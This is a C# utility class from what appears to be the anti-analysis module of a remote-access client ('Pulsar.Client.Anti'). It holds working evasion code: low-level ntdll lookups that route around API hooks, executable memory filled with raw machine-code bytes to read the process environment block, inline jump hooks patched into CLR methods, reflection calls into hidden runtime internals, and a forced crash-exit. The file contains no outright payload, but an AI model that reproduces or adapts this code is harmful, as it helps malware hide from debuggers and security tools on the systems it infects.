using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using static Pulsar.Client.Anti.Helper.Structs; using System.Reflection; using System.Runtime.CompilerServices; using static Pulsar.Client.Anti.Helper.Delegates; namespace Pulsar.Client.Anti.Helper { public class Utils { #region WinApi [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString); [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetModuleHandleA(string Library); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string Function); [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack); [DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); [DllImport("ntdll", SetLastError = true)] private static extern uint NtClose(IntPtr hObject); #endregion /// /// Gets the handle of a specified module using low-level functions. /// /// The name of the library to get the handle for. /// The handle to the module. public static IntPtr LowLevelGetModuleHandle(string Library) { if (IntPtr.Size == 4) return GetModuleHandleA(Library); IntPtr hModule = IntPtr.Zero; Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING(); RtlInitUnicodeString(out UnicodeString, Library); LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule); return hModule; } /// /// Gets the address of a specified function using low-level functions. /// /// The handle to the module. /// The name of the function to get the address for. /// The address of the function. public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function) { if (IntPtr.Size == 4) return GetProcAddress(hModule, Function); IntPtr FunctionHandle = IntPtr.Zero; Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING(); Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING(); RtlInitUnicodeString(out UnicodeString, Function); RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true); LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero); return FunctionHandle; } /// /// Writes the struct to a pointer. /// /// The struct. /// The pointer to the address that represents the struct. /// An indicator to whether we should delete the old struct after writing or not. /// An indicator to whether we should change the ptr memory protection before writing. /// return true if successful, otherwise false. public static bool WriteStructToPtr(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection) { try { if (ChangeMemoryProtection) { uint Old = 0; ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old); Marshal.StructureToPtr(structure, ptr, fDeleteOld); ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old); return true; } else { Marshal.StructureToPtr(structure, ptr, fDeleteOld); return true; } } catch { } return false; } public static string GetCurrentCLRModuleName() { string[] CLRs = { "clr.dll", "coreclr.dll" }; foreach (ProcessModule module in Process.GetCurrentProcess().Modules) { foreach (string CLR in CLRs) { if (module.ModuleName.ToLower() == CLR) { return module.ModuleName; } } } return null; } /// /// Changes the page protection for an address. /// /// The Address to change the protection for. /// The size of the address. /// The new protection to apply. /// The old protection if you wanna set it back again. /// return true if successfully did it's job, otherwise false. public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect) { int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect); if (Status == 0) return true; return false; } /// /// Reads a byte from a specified memory address. /// /// The memory address to read from. /// The byte read from the memory address. public static byte InternalReadByte(IntPtr ptr) { unsafe { try { byte* ptr2 = (byte*)(void*)ptr; return *ptr2; } catch { return 0; } } } /// /// Force exits the process even if hooked. /// public static void ForceExit() { Environment.Exit(0); unsafe { int* ptr = null; *ptr = 42; } throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString()); } /// /// copies memory from a byte array to an IntPtr. /// /// The IntPtr destination in which the data will be copied to. /// The byte array source in which the data will be copied from. public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection) { unsafe { fixed (byte* source = src) { if (ChangeProtection) { uint oldProtect = 0; if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect)) { Marshal.Copy(src, 0, dst, src.Length); ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect); } } else { Marshal.Copy(src, 0, dst, src.Length); } } } } /// /// copies memory from an IntPtr to a byte array. /// /// The byte array destination in which the data will be copied to. /// The IntPtr source in which the data will be copied from. public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection) { unsafe { fixed (byte* destination = dst) { if (ChangeProtection) { uint oldProtect = 0; if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect)) { Marshal.Copy(src, dst, 0, dst.Length); ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect); } } else { Marshal.Copy(src, dst, 0, dst.Length); } } } } /// /// copies memory from an IntPtr to another. /// /// The byte array destination in which the data will be copied to. /// The IntPtr source in which the data will be copied from. public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection) { int sizeDst = Marshal.SizeOf(typeof(IntPtr)); byte[] buffer = new byte[sizeDst]; if (ChangeProtection) { uint oldProtect = 0; if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect)) { Marshal.Copy(src, buffer, 0, sizeDst); Marshal.Copy(buffer, 0, dst, sizeDst); ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect); } } else { Marshal.Copy(src, buffer, 0, sizeDst); Marshal.Copy(buffer, 0, dst, sizeDst); } } /// /// Sees if the first string contains the second string. /// /// First string to see if it contains the second string. /// The second string that will be searched for. /// if the second string contains a string from the first one then the result is true, otherwise false. public static bool Contains(string First, string Second) { if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0) { return true; } return false; } /// /// The method which is invoked to test reflection for IsReflectionEnabled. /// /// a random number from 1-99 private static int TestInvoke() { return new Random().Next(1, 99); } /// /// Checks if reflection is supported before doing reflection operations. /// /// Check if we can get a function pointer. /// Check if we can invoke another function. /// return true if reflection is enabled and supports the options you provided, otherwise false. public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport) { try { MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static); if (BaseMethodTest == null) return false; if (InvokeSupport) { if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0) return false; } if (FPSupport) { if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero) return false; } return true; } catch { return false; } } /// /// Converts a cast to a stack pointer. /// /// The stack pointer of the cast you provided. private static IntPtr UnsafeCastToStackPointer(ref T o) where T : class { unsafe { #pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type fixed (T* ptr = &o) { return (IntPtr)ptr; } #pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type } } /// /// Gets the entry assembly directly using internal .NET functions using reflection. /// /// if successful then it returns the entry assembly, otherwise null. public static Assembly LowLevelGetEntryAssembly() { if (!IsReflectionEnabled(false, true)) return null; Assembly EntryAsm = null; try { IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm); if (AsmPtr != IntPtr.Zero) { Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack"); if (ObjectHandleOnStackType != null) { object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType); FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr); Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null); } } } catch { return null; } return EntryAsm; } /// /// Gets the currently executing assembly directly using internal .NET functions using reflection. /// /// if successful then it returns the executing assembly, otherwise null. public static Assembly LowLevelGetExecutingAssembly() { if (!IsReflectionEnabled(false, true)) return null; Assembly ExecutingAssembly = null; try { IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly); if (AsmPtr != IntPtr.Zero) { Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack"); Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle"); if (ObjectHandleOnStackType != null && StackCrawlMarksType != null) { object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType); FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr); Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark"); object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller"); IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller); if (StackCrawlMarkPtr != IntPtr.Zero) { object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType); FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr); Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null); } } } } catch { return null; } return ExecutingAssembly; } /// /// Calls methods in the CLR which isn't normally/directly accessible. /// /// The name of the internal function. /// The class or type that the method is in. /// The method flags which will be used to find the exact method. /// The parameters which is used to search for the function using it, will be used instead of Flags if not left null. /// The parameters passed to the method. can be null. /// The type arguments if the method is a generic method. /// the return value of the method (if any). public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null) { try { if (!IsReflectionEnabled(false, true)) return null; if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null) return null; MethodInfo MI = null; if (Parameters != null) { MI = InternalMethodType.GetMethod(InternalMethod, Parameters); } else { MI = InternalMethodType.GetMethod(InternalMethod, Flags); } if (MI.IsGenericMethod && GenericParameter != null) { MI = MI.MakeGenericMethod(GenericParameter); } if (MI != null) { object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType); return MI.Invoke(instance, InvokeParameters); } return null; } catch { return null; } } /// /// Calls methods in the CLR which isn't normally/directly accessible. /// /// The name of the internal function. /// The class or type that the method is in. /// The return type of the method to be searched for. /// The parameters passed to the method. can be null. /// The type arguments if the method is a generic method. /// the return value of the method (if any). public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null) { try { if (!IsReflectionEnabled(false, true)) return null; if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null) return null; MethodInfo MI = null; foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static)) { if (methods.Name.ToLower() == InternalMethod.ToLower()) { if (methods.ReturnType == ReturnType) { MI = methods; break; } } } if (MI.IsGenericMethod && GenericParameter != null) { MI = MI.MakeGenericMethod(GenericParameter); } if (MI != null) { object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType); return MI.Invoke(instance, InvokeParameters); } return null; } catch { return null; } } private static uint PAGE_EXECUTE_READWRITE = 0x40; private static uint MEM_RELEASE = 0x00008000; /// /// Gets the Process Environment Block with it's struct. /// /// returns the PEB. public static PEB GetPEB() { byte[] PEBCode = new byte[20]; if (IntPtr.Size == 8) PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 }; else PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 }; IntPtr AllocatedCode = AllocateCode(PEBCode); if (AllocatedCode != IntPtr.Zero) { try { GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr)); IntPtr PebPtr = PebDel(); FreeCode(AllocatedCode); if (PebPtr != IntPtr.Zero) { return Marshal.PtrToStructure(PebPtr); } } catch { FreeCode(AllocatedCode); } } return new PEB(); } /// /// Allocates assembly code from byte array. /// /// The assembly code in byte array. /// Allocated memory to the assembly code. public static IntPtr AllocateCode(byte[] Code) { IntPtr Allocated = IntPtr.Zero; uint Length = (uint)Code.Length; uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE); if (Status == 0) { CopyMem(Allocated, Code, false); return Allocated; } return IntPtr.Zero; } /// /// Frees the allocated memory. /// /// The allocated assembly code to be freed. /// An indicator if the memory was freed or not. public static bool FreeCode(IntPtr AllocatedCode) { return VirtualFree(AllocatedCode, 0, MEM_RELEASE); } /// /// Closes a handle. /// /// The handle to be closed. /// true if the handle has been closed, otherwise false. public static bool CloseHandle(IntPtr Handle) { if (NtClose(Handle) == 0) return true; return false; } public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength) { uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)); uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength); if (Result == 0) return true; return false; } /// /// Installs a function hook. /// /// The source function pointer to be hooked. /// The destination function pointer to be the hooking function. /// The hooked code which will be written to if you wanna hook the function later (6 bytes in length). private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked) { byte[] HookCode = new byte[6]; HookCode[0] = 0x90; HookCode[1] = 0xE9; if (IntPtr.Size == 8) { long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length; byte[] offsetBytes = BitConverter.GetBytes(offset); Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2); } else { long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length; byte[] offsetBytes = BitConverter.GetBytes((int)offset); Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2); } CopyMem(Source, HookCode, true); Hooked = HookCode; return true; } /// /// Installs/Uninstalls a hook to/from the function. /// /// The code which is hooked/unhooked to apply. /// pointer to the function. public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction) { CopyMem(pFunction, code, true); } /// /// The whitelisted function by the hook which should get the original function pointer. /// /// The method to get the pointer for. /// Returns the pointer if successful, otherwise IntPtr.Zero public static IntPtr GetPointer(MethodInfo MI) { return MI.MethodHandle.GetFunctionPointer(); } /// /// The whitelisted function by the hook which should get the original function pointer from the delegate. /// /// The method to get the pointer for. /// Returns the pointer if successful, otherwise IntPtr.Zero public static IntPtr GetPointerDelegate(Delegate DelegateMethod) { if (IsReflectionEnabled(false, true)) { return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod }); } return Marshal.GetFunctionPointerForDelegate(DelegateMethod); } /// /// Installs a CLR hook. /// /// The method to be hooked. /// The hook method. /// The original code which will be written to if you wanna unhook the function later (6 bytes in length). /// The hook code which can be used to hook the function after unhooking it (6 bytes in length). /// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function. /// Returns true if successfully hooked, otherwise false. public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction) { try { if (!IsReflectionEnabled(true, true)) { HookedCode = null; pFunction = IntPtr.Zero; return false; } RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle); RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle); IntPtr pSource = GetPointer(SourceFunction); IntPtr pDestination = GetPointer(DestinationFunction); if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero) { if (OriginalCode != null) CopyMem(OriginalCode, pSource, false); if (HookFunction(pSource, pDestination, out HookedCode)) { pFunction = pSource; return true; } } HookedCode = null; pFunction = IntPtr.Zero; return false; } catch { HookedCode = null; pFunction = IntPtr.Zero; return false; } } /// /// Installs a CLR hook using delegates, for some software that have AOT. /// /// The method to be hooked. /// The hook method. /// The original code which will be written to if you wanna unhook the function later (6 bytes in length). /// The hook code which can be used to hook the function after unhooking it (6 bytes in length). /// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function. /// Returns true if successfully hooked, otherwise false. public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction) { try { IntPtr pSource = GetPointerDelegate(SourceFunction); IntPtr pDestination = GetPointerDelegate(DestinationFunction); if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero) { if (OriginalCode != null) CopyMem(OriginalCode, pSource, false); if (HookFunction(pSource, pDestination, out HookedCode)) { pFunction = pSource; return true; } } HookedCode = null; pFunction = IntPtr.Zero; return false; } catch { HookedCode = null; pFunction = IntPtr.Zero; return false; } } } }